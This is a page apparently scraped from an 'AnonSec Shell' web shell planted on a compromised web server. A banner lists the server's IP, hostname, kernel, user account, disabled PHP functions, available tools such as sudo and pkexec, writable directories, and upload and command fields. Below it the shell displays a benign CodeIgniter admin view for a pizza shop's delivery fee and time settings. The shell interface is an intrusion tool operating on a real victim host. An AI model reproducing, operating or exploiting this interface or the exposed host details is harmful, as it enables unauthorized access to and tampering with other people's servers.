AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/views/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/views/superadmin/delivery_settings.php
<!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
      <section class="content-header content-header1">
        <h1>Delivery Settings</h1>
      </section>
    <!-- Main content -->
      <!-- tab section -->
          <div class="col-md-12 mctop15">
          	<?php if($this->session->flashdata('success_msg')):?>
			                  <div class="alert alert-info">
			                      <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
			                      <strong><?php echo $this->session->flashdata('success_msg'); ?></strong> 
			                    </div>
			                  <?php endif; ?> 
            <div class="box-body">
              <?php $validator = array('role' => 'form', 'data-toggle' => 'validator', 'id' => 'manna'); echo form_open('superadmin/deliverysettings', $validator); ?>
				<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
					<div class="col-md-3 col-sm-12 col-xs-12 margintop10">
						<div class="form-group float-label-control hide">
							<p><?php echo SITENAME; ?> Delivery<i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Change delivery setting status for <?php echo SITENAME; ?>"></i> <!--<span class="text-red">*</span>--></p>
							<div class="onoffswitch">
								<?php
			                        $adminchecked = "";
			                        $restaurantchecked = "";
			                        $adminrequired="";
			                        $restaurantrequired="";
			                        if(isset($data['delivery_by_admin']))
			                        {
			                          if($data['delivery_by_admin']==1)
			                          {
			                            $adminchecked = 'checked';
			                            $adminrequired ="required";
			                          }

			                          if($data['delivery_by_restaurant']==1)
			                          {
			                            $restaurantchecked = 'checked';
			                            $restaurantrequired="required";
			                          }

			                        }
			                       ?>
								<input value="1" type="checkbox" name="delivery_by_admin" class="onoffswitch-checkbox" id="myonoffswitchDine" <?php echo $adminchecked; ?> onclick="AddNewclass1(this)">
								<label class="onoffswitch-label" for="myonoffswitchDine">
									<span class="onoffswitch-inner"></span>
									<span class="onoffswitch-switch"></span>
								</label>
							</div>
						</div>
						<div class="form-group dine2you">
							<label for="">Enter Delivery Fee for <?=SITENAME?>.com</label><br>
							<span class="dollar-manage"><i class="fa fa-usd" aria-hidden="true"></i></span>
							<input onkeypress="return isDecimal(event);" value="<?php echo set_value('delivery_by_admin_fee', isset($data['delivery_by_admin_fee']) ? $data['delivery_by_admin_fee'] : ''); ?>" id="delivery_by_admin_fee" name="delivery_by_admin_fee" type="text" class="fs_input" style="width: 60% !important;" placeholder="Delivery Fee" <?php echo $adminrequired; ?>><!--  <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Enter Delivery Fee for orderingsystemonline.com"></i> <span class="text-red">*</span> -->
						</div>
						<div class="form-group dine2you">
							<label for="">Enter driver payout per order</label><br>
							<span class="dollar-manage"><i class="fa fa-usd" aria-hidden="true"></i></span>
							<input onkeypress="return isDecimal(event);" value="<?php echo set_value('driver_payout', isset($data['driver_payout']) ? $data['driver_payout'] : ''); ?>" id="driver_payout" name="driver_payout" type="text" class="fs_input" style="width: 60% !important;" placeholder="Driver payout" <?php echo $adminrequired; ?>><!--  <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Enetr driver payout per order"></i> <span class="text-red">*</span> -->
						</div>
					</div>
					<!-- <div class="col-md-6 col-sm-6 col-xs-12 margintop10">
						<div class="form-group float-label-control">
							<p>Restaurant Delivery <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Change delivery setting status for Restaurant delivery"></i> </p>
							<div class="onoffswitch">
								<input value="1" type="checkbox" name="delivery_by_restaurant" class="onoffswitch-checkbox" id="myonoffswitchResDel" <?php echo $restaurantchecked; ?> >
								<label class="onoffswitch-label" for="myonoffswitchResDel">
									<span class="onoffswitch-inner"></span>
									<span class="onoffswitch-switch"></span>
								</label>
							</div>
						</div>
						<div class="form-group res-delievery hide">
							<input id="delivery_by_restaurant_fee" name="delivery_by_restaurant_fee" type="text" class="fs_input custom-full" placeholder="Delivery Fee" <?php echo $restaurantrequired; ?>> <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Enetr Delivery Fee for Restaurant Delivery"></i> <span class="text-red">*</span>
						</div>
					</div> -->
				</div>




	<div id="newappendG">
		<div class="col-md-12 col-sm-12 col-xs-12 margintop10 custom-padding-0 ">
							<h4>Delivery Time Setting</h4>
							<hr />
			<div class="col-md-2 col-sm-2 col-xs-12 margintop10" style="display: none;">
				<p>Select State <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Select State for delivery Time"></i> <span class="text-red">*</span></p>
				<div class="form-group float-label-control">
					<select name="state_code[]" id="state_code" class="fs_input custom-full" required>
					<option>Select State</option>
						<?php 
						if (is_array($StateList) && count($StateList) > 0) {
	                    foreach($StateList as $row) { 
	                    $sel=(isset($DelliveryTimeList['0']['state_code']) ? $DelliveryTimeList['0']['state_code'] : 'CA');
	                    ?>
	                    <option value="<?php echo $row->statecode; ?>" <?php if($row->statecode==$sel){ echo " selected";} ?> ><?php echo $row->statename ?></option>';
	                    <?php } } ?>
					</select>
				</div>
			</div>
			<div class="col-md-3 col-sm-12 col-xs-12 margintop10 paddingleft0" style="display: none;">
				<p>Select Timezone <i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Select Timezone for delivery Time"></i> <span class="text-red">*</span></p>
				<div class="form-group float-label-control">
					<select name="timezone_code[]" id="timezone_code" class="fs_input" required>
						<option>Select Timezone</option>
						<?php 
						if (is_array($TimezonList) && count($TimezonList) > 0) {
	                    foreach($TimezonList as $row) { 
	                    $sel=(isset($DelliveryTimeList['0']['timezone_code']) ? $DelliveryTimeList['0']['timezone_code'] : 'America/Ensenada');
	                    //$sel= (isset($data['restaurant_state']))?$data['restaurant_state']:'0';
	                    ?>
	                    <option value="<?php echo $row->code; ?>" <?php if($row->code==$sel){ echo " selected";} ?> ><?php echo $row->name ?></option>';
	                    <?php } } ?>
						</select>
				</div>
			</div>
			<div class="col-md-3 col-sm-4 col-xs-12" >
				<p>Estimated Time<i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Enter Estimated Delivery Time (in minutes)"></i> <span class="text-red">*</span></p>
				<div class="form-group float-label-control">
					<input value="<?php echo set_value('$DelliveryTimeList[]', isset($DelliveryTimeList['0']['estimated_time']) ? $DelliveryTimeList['0']['estimated_time'] : ''); ?>" name="estimated_time[]" id="estimated_time" class="fs_input custom-6" placeholder="Estimated Time" type="text" required onkeypress="return only_num(event,this.value);" maxlength='2'>
					
				</div>
			</div>

			<div class="col-md-3 col-sm-4 col-xs-12 paddingleft0" >
				<p>Delivery Time From<i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Enter Delivery Time From"></i> <span class="text-red">*</span></p>
				<div class="form-group">
					<input value="<?php echo set_value('$DelliveryTimeList[]', isset($DelliveryTimeList['0']['time_from']) ? $DelliveryTimeList['0']['time_from'] : ''); ?>" type="text" placeholder="Delivery Time From" class="fs_input delivery_timepicker" style="font-size: 14px !important;" id="time_from" name="time_from[]" required>
				</div>
			</div>
			<div class="col-md-3 col-sm-4 col-xs-12 paddingleft0" style="">
				<p>Delivery Time To<i class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title="Enter Delivery Time To"></i> <span class="text-red">*</span></p>
				<div class="form-group">
					<input value="<?php echo set_value('$DelliveryTimeList[]', isset($DelliveryTimeList['0']['time_to']) ? $DelliveryTimeList['0']['time_to'] : ''); ?>" type="text" placeholder="Delivery Time To" class="fs_input delivery_timepicker" style="font-size: 14px !important;" id="time_to" name="time_to[]" required>
				</div>
			</div>
			<div class="col-md-1 col-sm-2 col-xs-12 paddingleft0" style="display: none;">
				<p>&nbsp;</p>
					<button type="button" id="add" class="btn btn-info col-or" onclick="addMoreRowsG(this.form);return false;"><i class="fa fa-plus"></i></button>
			</div>
		</div>
	

<?php 
if (is_array($DelliveryTimeList) && count($DelliveryTimeList) > 0 && isset($dine2you)) { $k=2;
	foreach(array_slice($DelliveryTimeList,1) as $key=>$v) {  ?>
	<div class="col-md-12 col-sm-12 col-xs-12 margintop10 custom-padding-0 " id="ootG<?php echo $k; ?>">
							
			<div class="col-md-2 col-sm-2 col-xs-12 margintop10">
				
				<div class="form-group float-label-control">
					<select name="state_code[]" id="state_code" class="fs_input custom-full" required>
					<option>Select State</option>
						<?php 
						if (is_array($StateList) && count($StateList) > 0) {
	                    foreach($StateList as $row) { 
	                    $sel=(isset($DelliveryTimeList[$key+1]['state_code']) ? $DelliveryTimeList[$key+1]['state_code'] : '0');
	                    //$sel= (isset($data['restaurant_state']))?$data['restaurant_state']:'0';
	                    ?>
	                    <option value="<?php echo $row->statecode; ?>" <?php if($row->statecode==$sel){ echo " selected";} ?> ><?php echo $row->statename ?></option>';
	                    <?php } } ?>
					</select>
				</div>
			</div>
			<div class="col-md-3 col-sm-3 col-xs-12 margintop10 paddingleft0">
				
				<div class="form-group float-label-control">
					<select name="timezone_code[]" id="timezone_code" class="fs_input" required>
						<option>Select Timezone</option>
						<?php 
						if (is_array($TimezonList) && count($TimezonList) > 0) {
	                    foreach($TimezonList as $row) { 
	                    $sel=(isset($DelliveryTimeList[$key+1]['timezone_code']) ? $DelliveryTimeList[$key+1]['timezone_code'] : '0');
	                    //$sel= (isset($data['restaurant_state']))?$data['restaurant_state']:'0';
	                    ?>
	                    <option value="<?php echo $row->code; ?>" <?php if($row->code==$sel){ echo " selected";} ?> ><?php echo $row->name ?></option>';
	                    <?php } } ?>
						</select>
				</div>
			</div>
			<div class="col-md-2 col-sm-2 col-xs-12 paddingleft0" >
				<div class="form-group float-label-control">
					<input value="<?php echo set_value('$DelliveryTimeList[]', isset($DelliveryTimeList[$key+1]['estimated_time']) ? $DelliveryTimeList[$key+1]['estimated_time'] : ''); ?>" name="estimated_time[]" id="estimated_time" class="fs_input custom-6" placeholder="Estimated Time" type="text" required onkeypress="return only_num(event,this.value);">
					
				</div>
			</div>

			<div class="col-md-2 col-sm-2 col-xs-12 paddingleft0" >
				
				<div class="form-group">
					<input value="<?php echo set_value('$DelliveryTimeList[]', isset($DelliveryTimeList[$key+1]['time_from']) ? $DelliveryTimeList[$key+1]['time_from'] : ''); ?>" type="text" placeholder="Delivery Time From" class="fs_input delivery_timepicker" style="font-size: 14px !important;" id="time_from" name="time_from[]" required>
				</div>
			</div>
			<div class="col-md-2 col-sm-2 col-xs-12 paddingleft0" style="">
				
				<div class="form-group">
					<input value="<?php echo set_value('$DelliveryTimeList[]', isset($DelliveryTimeList[$key+1]['time_to']) ? $DelliveryTimeList[$key+1]['time_to'] : ''); ?>" type="text" placeholder="Delivery Time To" class="fs_input delivery_timepicker" style="font-size: 14px !important;" id="time_to" name="time_to[]" required>
				</div>
			</div>
			<div class="col-md-1 col-sm-1 col-xs-12 paddingleft0" style="">
				
				    <button type="button" id="removeG<?php echo $k; ?>" class="btn btn-info col-or" onclick="removeRowG('<?php echo $k; ?>');return false;"><i class="fa fa-minus"></i></button>
					
			</div>
		</div>

<?php $k=$k+1; }  } ?>	

</div>
				<div class="col-md-12 col-sm-12 col-xs-12 text-left mtop15">
					<button type="submit" class="btn btn-info Custom-btn">Submit</button>
					<INPUT type="hidden" NAME="restaurant_id" id="restaurant_id" SIZE="25" value="0"> 
				</div>
              </form>
            </div>
          </div>
          <!-- ./tab section -->
      <div class="clearfix"></div>
  </div><!-- /.content-wrapper -->
<div class="clearfix"></div>
<script type="text/javascript">

 function AddNewclass1(vthis)
 {

 	isCheck = $(vthis).is(':checked');
 	if(isCheck)
 	{
 		$("#delivery_by_admin_fee").prop('required',true);
 	}else{
 		$("#delivery_by_admin_fee").prop('required',false);

 	}
 }

	var rowCount = 1;
	function addMoreRowsG(frm) 
	{ 
		var base_url ='<?php echo base_url(); ?>'
		 url=base_url+"dashboard/delevery_select_option";
	  	$.ajax({
	      type: "post",
	      url: url,
	      cache: false,
	      dataType: 'json',
	      success: function(feeddata){   
	      	//alert(feeddata.StateList)
  		  	rowCount ++;    
			var append='<div class="col-md-12 custom-padding-0 col-sm-12 col-xs-12 margintop10" id="ootG'+rowCount+'">'
			+                  '<div class="col-md-2 col-sm-2 col-xs-12 margintop10">'
			+                        '<div class="form-group float-label-control">'
			+                       '<select name="state_code[]" class="fs_input" required>'+feeddata.StateList+'</select>'
			+                       '</div>'
			+                        '</div>'
			+                        '<div class="col-md-3 col-sm-3 col-xs-12 margintop10 paddingleft0">'
			+                    '<div class="form-group float-label-control">'
			+                  			'<select name="timezone_code[]" class="fs_input" required>'+feeddata.TimezoneList+'</select>'
			+                        '</div>'
			+                        '</div>'
			+						'<div class="col-md-2 col-sm-2 col-xs-12 paddingleft0" style="">'
			+						'<div class="form-group float-label-control">'
			+						'<input name="estimated_time[]" value="" class="fs_input custom-6" id="" placeholder="Estimated Time" type="text" required onkeypress="return only_num(event,this.value);">'
			+						'<i data-original-title="Enter restaurant delivery estimated time" class="fa fa-question-circle" data-toggle="tooltip" data-placement="left" title=""></i>'
			+                        '</div>'
			+                        '</div>'
			+						'<div class="col-md-2 col-sm-2 col-xs-12 paddingleft0" style="">'
			+						'<div class="form-group">'
			+						'<input name="time_from[]"   type="text" placeholder="Delivery Time From" class="fs_input delivery_timepicker" style="font-size: 14px !important;" required >'
			+                      '</div>'
			+                    '</div>'
			+							'<div class="col-md-2 col-sm-2 col-xs-12 paddingleft0" style="">'
			+							'<div class="form-group">'
			+							'<input name="time_to[]"  type="text" placeholder="Delivery Time To" class="fs_input delivery_timepicker" style="font-size: 14px !important;" required>'
			+                      '</div>'
			+                    '</div>'
			+                          '<div class="col-md-1 col-sm-1 col-xs-12 paddingleft0" style="">'
			+                        '<button type="button" id="removeG'+rowCount+'" class="btn btn-info col-or" onclick="removeRowG('+rowCount+');return false;"><i class="fa fa-minus"></i></button>'
			+                      '</div>'
			+                    '</div>'
			+ '<div class="clearfix"></div>';
			jQuery('#newappendG').append(append);

			$("#manna").validator('update');


			/*$('.delivery_timepicker').datetimepicker({
				datepicker:false,
				formatTime:'g:i A', 
				format: 'g:i A',
				step:15
			});*/


			$('#time_from').datetimepicker({
  			 formatTime:'g:i A', 
  			 format : 'g:i A',
			 step:15,
			   onShow:function( ct ){
			   	alert('time_from');
   					this.setOptions({
    				maxTime:$('#time_to').val()?$('#time_to').val():false
   				})
     			},
  					datepicker:false
 			});

	 		$('#time_to').datetimepicker({
  			datepicker:false,
  			 formatTime:'g:i A', 
  			 format : 'g:i A',
			 step:15,
			onShow:function( ct ){
				alert('time_to');
			   this.setOptions({
			    minTime:$('#time_from').val()?$('#time_from').val():false
			   })
			     },
			  datepicker:false
			 });


	      }
	 	});

		
	  }


	function removeRowG(removeNum)
	  {
	    jQuery('#ootG'+removeNum).remove();
	  }




</script>

Anon7 - 2022
AnonSec Team